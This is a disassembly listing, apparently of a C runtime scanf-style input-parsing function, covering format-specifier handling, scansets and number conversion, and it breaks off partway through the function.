		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_416193
		mov	edi, [ebp+arg_0]
		jmp	short loc_4157BC
; ---------------------------------------------------------------------------


loc_4157B7:				; CODE XREF: sub_41578D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_4157BC:				; CODE XREF: sub_41578D+28j
		cmp	ds:dword_42E39C, 1
		jle	short loc_4157D4
		movzx	eax, al
		push	8
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_4157E3
; ---------------------------------------------------------------------------


loc_4157D4:				; CODE XREF: sub_41578D+36j
		mov	ecx, ds:off_42E190
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4157E3:				; CODE XREF: sub_41578D+45j
		cmp	eax, ebx
		jz	short loc_41581D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41621A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416203
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_418AAF
		add	esp, 0Ch


loc_41580B:				; CODE XREF: sub_41578D+8Ej
		test	eax, eax
		jz	short loc_41581D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_418AAF
		pop	ecx
		jmp	short loc_41580B
; ---------------------------------------------------------------------------


loc_41581D:				; CODE XREF: sub_41578D+58j
					; sub_41578D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_4160FF
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_415854:				; CODE XREF: sub_41578D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_42E39C, 1
		jle	short loc_415871
		movzx	eax, bl
		push	4
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415880
; ---------------------------------------------------------------------------


loc_415871:				; CODE XREF: sub_41578D+D3j
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_415880:				; CODE XREF: sub_41578D+E2j
		test	eax, eax
		jz	short loc_415896
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_415896:				; CODE XREF: sub_41578D+F5j
		cmp	ebx, 4Eh
		jg	short loc_4158D9
		jz	short loc_4158FB
		cmp	ebx, 2Ah
		jz	short loc_4158D4
		cmp	ebx, 46h
		jz	short loc_4158FB
		cmp	ebx, 49h
		jz	short loc_4158B6
		cmp	ebx, 4Ch
		jnz	short loc_4158E8
		inc	[ebp+var_D]
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_4158B6:				; CODE XREF: sub_41578D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_4158E8
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_4158E8
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_4158D4:				; CODE XREF: sub_41578D+113j
		inc	[ebp+var_E]
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_4158D9:				; CODE XREF: sub_41578D+10Cj
		cmp	ebx, 68h
		jz	short loc_4158F5
		cmp	ebx, 6Ch
		jz	short loc_4158ED
		cmp	ebx, 77h
		jz	short loc_4158F0


loc_4158E8:				; CODE XREF: sub_41578D+122j
					; sub_41578D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_4158ED:				; CODE XREF: sub_41578D+154j
		inc	[ebp+var_D]


loc_4158F0:				; CODE XREF: sub_41578D+159j
		inc	[ebp+var_5]
		jmp	short loc_4158FB
; ---------------------------------------------------------------------------


loc_4158F5:				; CODE XREF: sub_41578D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_4158FB:				; CODE XREF: sub_41578D+107j
					; sub_41578D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_415854
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_415920
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_415920:				; CODE XREF: sub_41578D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41593E
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41593A
		cmp	al, 43h
		jz	short loc_41593A
		or	[ebp+var_5], 0FFh
		jmp	short loc_41593E
; ---------------------------------------------------------------------------


loc_41593A:				; CODE XREF: sub_41578D+1A1j
					; sub_41578D+1A5j
		mov	[ebp+var_5], 1


loc_41593E:				; CODE XREF: sub_41578D+19Bj
					; sub_41578D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_415977
		cmp	esi, 63h
		jz	short loc_415968
		cmp	esi, 7Bh
		jz	short loc_415968
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41621A
		pop	ecx
		jmp	short loc_415973
; ---------------------------------------------------------------------------


loc_415968:				; CODE XREF: sub_41578D+1C5j
					; sub_41578D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9


loc_415973:				; CODE XREF: sub_41578D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_415977:				; CODE XREF: sub_41578D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_415987
		cmp	[ebp+var_C], eax
		jz	loc_416163


loc_415987:				; CODE XREF: sub_41578D+1EFj
		cmp	esi, 6Fh
		jg	loc_415BEE
		jz	loc_415EA0
		cmp	esi, 63h
		jz	loc_415BCB
		cmp	esi, 64h
		jz	loc_415EA0
		jle	loc_415C18
		cmp	esi, 67h
		jle	short loc_4159EB
		cmp	esi, 69h
		jz	short loc_4159D3
		cmp	esi, 6Eh
		jnz	loc_415C18
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4160CE
		jmp	loc_4160F4
; ---------------------------------------------------------------------------


loc_4159D3:				; CODE XREF: sub_41578D+229j
		push	64h
		pop	esi


loc_4159D6:				; CODE XREF: sub_41578D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_415C60
		mov	[ebp+var_17], 1
		jmp	loc_415C65
; ---------------------------------------------------------------------------


loc_4159EB:				; CODE XREF: sub_41578D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_415A07
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_415A0C
; ---------------------------------------------------------------------------


loc_415A07:				; CODE XREF: sub_41578D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_415A23


loc_415A0C:				; CODE XREF: sub_41578D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415A26
; ---------------------------------------------------------------------------


loc_415A23:				; CODE XREF: sub_41578D+27Dj
		mov	edi, [ebp+arg_0]


loc_415A26:				; CODE XREF: sub_41578D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_415A35
		cmp	[ebp+var_C], 15Dh
		jle	short loc_415A3C


loc_415A35:				; CODE XREF: sub_41578D+29Dj
		mov	[ebp+var_C], 15Dh


loc_415A3C:				; CODE XREF: sub_41578D+2A6j
					; sub_41578D+2F2j
		cmp	ds:dword_42E39C, 1
		jle	short loc_415A51
		push	4
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415A5C
; ---------------------------------------------------------------------------


loc_415A51:				; CODE XREF: sub_41578D+2B6j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415A5C:				; CODE XREF: sub_41578D+2C2j
		test	eax, eax
		jz	short loc_415A81
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415A81
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415A3C
; ---------------------------------------------------------------------------


loc_415A81:				; CODE XREF: sub_41578D+2D1j
					; sub_41578D+2DBj
		cmp	ds:byte_42E3A0,	bl
		jnz	short loc_415AEF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415AEF
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		mov	al, ds:byte_42E3A0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_415AAA:				; CODE XREF: sub_41578D+360j
		cmp	ds:dword_42E39C, 1
		jle	short loc_415ABF
		push	4
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415ACA
; ---------------------------------------------------------------------------


loc_415ABF:				; CODE XREF: sub_41578D+324j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415ACA:				; CODE XREF: sub_41578D+330j
		test	eax, eax
		jz	short loc_415AEF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415AEF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415AAA
; ---------------------------------------------------------------------------


loc_415AEF:				; CODE XREF: sub_41578D+2FAj
					; sub_41578D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_415B87
		cmp	ebx, 65h
		jz	short loc_415B07
		cmp	ebx, 45h
		jnz	loc_415B87


loc_415B07:				; CODE XREF: sub_41578D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415B87
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_415B2E
		mov	[esi], al
		inc	esi
		jmp	short loc_415B33
; ---------------------------------------------------------------------------


loc_415B2E:				; CODE XREF: sub_41578D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_415B51


loc_415B33:				; CODE XREF: sub_41578D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_415B42
		and	[ebp+var_C], eax
		jmp	short loc_415B51
; ---------------------------------------------------------------------------


loc_415B42:				; CODE XREF: sub_41578D+3AEj
					; sub_41578D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_415B51:				; CODE XREF: sub_41578D+3A4j
					; sub_41578D+3B3j
		cmp	ds:dword_42E39C, 1
		jle	short loc_415B66
		push	4
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415B71
; ---------------------------------------------------------------------------


loc_415B66:				; CODE XREF: sub_41578D+3CBj
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415B71:				; CODE XREF: sub_41578D+3D7j
		test	eax, eax
		jz	short loc_415B87
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_415B87
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_415B42
; ---------------------------------------------------------------------------


loc_415B87:				; CODE XREF: sub_41578D+366j
					; sub_41578D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_416203
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_416193
		cmp	[ebp+var_E], 0
		jnz	loc_4160F4
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_42E4D0
		add	esp, 0Ch
		jmp	loc_4160F4
; ---------------------------------------------------------------------------


loc_415BCB:				; CODE XREF: sub_41578D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_415BDA
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_415BDA:				; CODE XREF: sub_41578D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_415BE4
		mov	[ebp+var_16], 1


loc_415BE4:				; CODE XREF: sub_41578D+451j
		mov	edi, offset dword_42E500
		jmp	loc_415CF9
; ---------------------------------------------------------------------------


loc_415BEE:				; CODE XREF: sub_41578D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_415E9C
		sub	eax, 3
		jz	loc_415CEA
		dec	eax
		dec	eax
		jz	loc_415EA0
		sub	eax, 3
		jz	loc_4159D6
		sub	eax, 3
		jz	short loc_415C3C


loc_415C18:				; CODE XREF: sub_41578D+21Bj
					; sub_41578D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_416163
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_4160F4
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_4160F4
; ---------------------------------------------------------------------------


loc_415C3C:				; CODE XREF: sub_41578D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_415C46
		mov	[ebp+var_16], 1


loc_415C46:				; CODE XREF: sub_41578D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_415CFD
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_415CF9
; ---------------------------------------------------------------------------


loc_415C60:				; CODE XREF: sub_41578D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_415C87


loc_415C65:				; CODE XREF: sub_41578D+259j
		dec	[ebp+var_C]
		jnz	short loc_415C76
		cmp	[ebp+var_20], 0
		jz	short loc_415C76
		mov	[ebp+var_F], 1
		jmp	short loc_415C87
; ---------------------------------------------------------------------------


loc_415C76:				; CODE XREF: sub_41578D+4DBj
					; sub_41578D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_415C87:				; CODE XREF: sub_41578D+4D6j
					; sub_41578D+4E7j
		cmp	ebx, 30h
		jnz	loc_415ED5
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_415CD5
		cmp	bl, 58h
		jz	short loc_415CD5
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_415CBF
		push	6Fh


loc_415CB9:				; CODE XREF: sub_41578D+55Bj
		pop	esi
		jmp	loc_415ED5
; ---------------------------------------------------------------------------


loc_415CBF:				; CODE XREF: sub_41578D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416203
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_415ED2
; ---------------------------------------------------------------------------


loc_415CD5:				; CODE XREF: sub_41578D+517j
					; sub_41578D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415CEA:				; CODE XREF: sub_41578D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_415CF4
		mov	[ebp+var_16], 1


loc_415CF4:				; CODE XREF: sub_41578D+561j
		mov	edi, offset dword_42E4F8


loc_415CF9:				; CODE XREF: sub_41578D+45Cj
					; sub_41578D+4CEj
		or	[ebp+var_18], 0FFh


loc_415CFD:				; CODE XREF: sub_41578D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_415D21
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_415D21
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_415D24
; ---------------------------------------------------------------------------


loc_415D21:				; CODE XREF: sub_41578D+584j
					; sub_41578D+589j
		mov	dl, [ebp+var_35]


loc_415D24:				; CODE XREF: sub_41578D+592j
					; sub_41578D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_415D89
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_415D70
		test	dl, dl
		jz	short loc_415D70
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_415D70
		inc	edi
		cmp	dl, cl
		jnb	short loc_415D43
		mov	al, cl
		jmp	short loc_415D47
; ---------------------------------------------------------------------------


loc_415D43:				; CODE XREF: sub_41578D+5B0j
		mov	al, dl
		mov	dl, cl


loc_415D47:				; CODE XREF: sub_41578D+5B4j
		cmp	dl, al
		ja	short loc_415D6C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_415D54:				; CODE XREF: sub_41578D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_415D54


loc_415D6C:				; CODE XREF: sub_41578D+5BCj
		xor	dl, dl
		jmp	short loc_415D24
; ---------------------------------------------------------------------------


loc_415D70:				; CODE XREF: sub_41578D+5A0j
					; sub_41578D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_415D24
; ---------------------------------------------------------------------------


loc_415D89:				; CODE XREF: sub_41578D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_416193
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_415D9B
		mov	[ebp+arg_4], edi


loc_415D9B:				; CODE XREF: sub_41578D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_416203
		pop	ecx
		pop	ecx


loc_415DB2:				; CODE XREF: sub_41578D+6BCj
					; sub_41578D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_415DC6
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_415E62


loc_415DC6:				; CODE XREF: sub_41578D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_415E56
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_415E56
		cmp	[ebp+var_E], 0
		jnz	short loc_415E4E
		cmp	[ebp+var_16], 0
		jz	short loc_415E43
		mov	ecx, ds:off_42E190
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415E22
		inc	[ebp+var_4]
		push	edi
		call	sub_4161E9
		pop	ecx
		mov	[ebp+var_37], al


loc_415E22:				; CODE XREF: sub_41578D+686j
		push	ds:dword_42E39C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4189E7
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_415E46
; ---------------------------------------------------------------------------


loc_415E43:				; CODE XREF: sub_41578D+673j
		mov	[esi], al
		inc	esi


loc_415E46:				; CODE XREF: sub_41578D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_415DB2
; ---------------------------------------------------------------------------


loc_415E4E:				; CODE XREF: sub_41578D+66Dj
		inc	[ebp+var_30]
		jmp	loc_415DB2
; ---------------------------------------------------------------------------


loc_415E56:				; CODE XREF: sub_41578D+649j
					; sub_41578D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_416203
		pop	ecx
		pop	ecx


loc_415E62:				; CODE XREF: sub_41578D+633j
		cmp	[ebp+var_30], esi
		jz	loc_416193
		cmp	[ebp+var_E], 0
		jnz	loc_4160F4
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_4160F4
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_415E94
		and	word ptr [eax],	0
		jmp	loc_4160F4
; ---------------------------------------------------------------------------


loc_415E94:				; CODE XREF: sub_41578D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_4160F4
; ---------------------------------------------------------------------------


loc_415E9C:				; CODE XREF: sub_41578D+466j
		mov	[ebp+var_D], 1


loc_415EA0:				; CODE XREF: sub_41578D+203j
					; sub_41578D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_415EAE
		mov	[ebp+var_17], 1
		jmp	short loc_415EB3
; ---------------------------------------------------------------------------


loc_415EAE:				; CODE XREF: sub_41578D+719j
		cmp	ebx, 2Bh
		jnz	short loc_415ED5


loc_415EB3:				; CODE XREF: sub_41578D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_415EC4
		cmp	[ebp+var_20], 0
		jz	short loc_415EC4
		mov	[ebp+var_F], 1
		jmp	short loc_415ED5
; ---------------------------------------------------------------------------


loc_415EC4:				; CODE XREF: sub_41578D+729j
					; sub_41578D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		pop	ecx
		mov	ebx, eax


loc_415ED2:				; CODE XREF: sub_41578D+543j
		mov	[ebp+var_14], ebx


loc_415ED5:				; CODE XREF: sub_41578D+4FDj
					; sub_41578D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_415FEE
		cmp	[ebp+var_F], 0
		jnz	loc_415FCC


loc_415EE9:				; CODE XREF: sub_41578D+82Cj
		cmp	esi, 78h
		jnz	short loc_415F3D
		cmp	ds:dword_42E39C, 1
		jle	short loc_415F06
		push	80h
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415F13
; ---------------------------------------------------------------------------


loc_415F06:				; CODE XREF: sub_41578D+768j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_415F13:				; CODE XREF: sub_41578D+777j
		test	eax, eax
		jz	loc_415FBE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_418AE0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4161B2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_415F90
; ---------------------------------------------------------------------------


loc_415F3D:				; CODE XREF: sub_41578D+75Fj
		cmp	ds:dword_42E39C, 1
		jle	short loc_415F52
		push	4
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415F5D
; ---------------------------------------------------------------------------


loc_415F52:				; CODE XREF: sub_41578D+7B7j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_415F5D:				; CODE XREF: sub_41578D+7C3j
		test	eax, eax
		jz	short loc_415FBE
		cmp	esi, 6Fh
		jnz	short loc_415F7B
		cmp	ebx, 38h
		jge	short loc_415FBE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_418AE0
		jmp	short loc_415F8A
; ---------------------------------------------------------------------------


loc_415F7B:				; CODE XREF: sub_41578D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4109C0


loc_415F8A:				; CODE XREF: sub_41578D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_415F90:				; CODE XREF: sub_41578D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_415FA8
		dec	[ebp+var_C]
		jz	short loc_415FCC


loc_415FA8:				; CODE XREF: sub_41578D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_415EE9
; ---------------------------------------------------------------------------


loc_415FBE:				; CODE XREF: sub_41578D+788j
					; sub_41578D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416203
		pop	ecx
		pop	ecx


loc_415FCC:				; CODE XREF: sub_41578D+756j
					; sub_41578D+819j
		cmp	[ebp+var_17], 0
		jz	loc_4160B2
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4160B2
; ---------------------------------------------------------------------------


loc_415FEE:				; CODE XREF: sub_41578D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4160AA


loc_415FF8:				; CODE XREF: sub_41578D+90Aj
		cmp	esi, 78h
		jz	short loc_41603C
		cmp	esi, 70h
		jz	short loc_41603C
		cmp	ds:dword_42E39C, 1
		jle	short loc_416017
		push	4
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_416022
; ---------------------------------------------------------------------------


loc_416017:				; CODE XREF: sub_41578D+87Cj
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_416022:				; CODE XREF: sub_41578D+888j
		test	eax, eax
		jz	short loc_41609C
		cmp	esi, 6Fh
		jnz	short loc_416035
		cmp	ebx, 38h
		jge	short loc_41609C
		shl	edi, 3
		jmp	short loc_416074
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: sub_41578D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_416074
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: sub_41578D+86Ej
					; sub_41578D+873j
		cmp	ds:dword_42E39C, 1
		jle	short loc_416054
		push	80h
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_416061
; ---------------------------------------------------------------------------


loc_416054:				; CODE XREF: sub_41578D+8B6j
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_416061:				; CODE XREF: sub_41578D+8C5j
		test	eax, eax
		jz	short loc_41609C
		push	ebx
		shl	edi, 4
		call	sub_4161B2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_416074:				; CODE XREF: sub_41578D+8A6j
					; sub_41578D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_416086
		dec	[ebp+var_C]
		jz	short loc_4160AA


loc_416086:				; CODE XREF: sub_41578D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_4161E9
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_415FF8
; ---------------------------------------------------------------------------


loc_41609C:				; CODE XREF: sub_41578D+897j
					; sub_41578D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_416203
		pop	ecx
		pop	ecx


loc_4160AA:				; CODE XREF: sub_41578D+865j
					; sub_41578D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4160B2
		neg	edi


loc_4160B2:				; CODE XREF: sub_41578D+843j
					; sub_41578D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4160BB
		and	[ebp+var_1C], 0


loc_4160BB:				; CODE XREF: sub_41578D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_416193
		cmp	[ebp+var_E], 0
		jnz	short loc_4160F4
		inc	[ebp+var_34]


loc_4160CE:				; CODE XREF: sub_41578D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_4160E4
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_4160F4
; ---------------------------------------------------------------------------


loc_4160E4:				; CODE XREF: sub_41578D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4160F1
		mov	[eax], edi
		jmp	short loc_4160F4
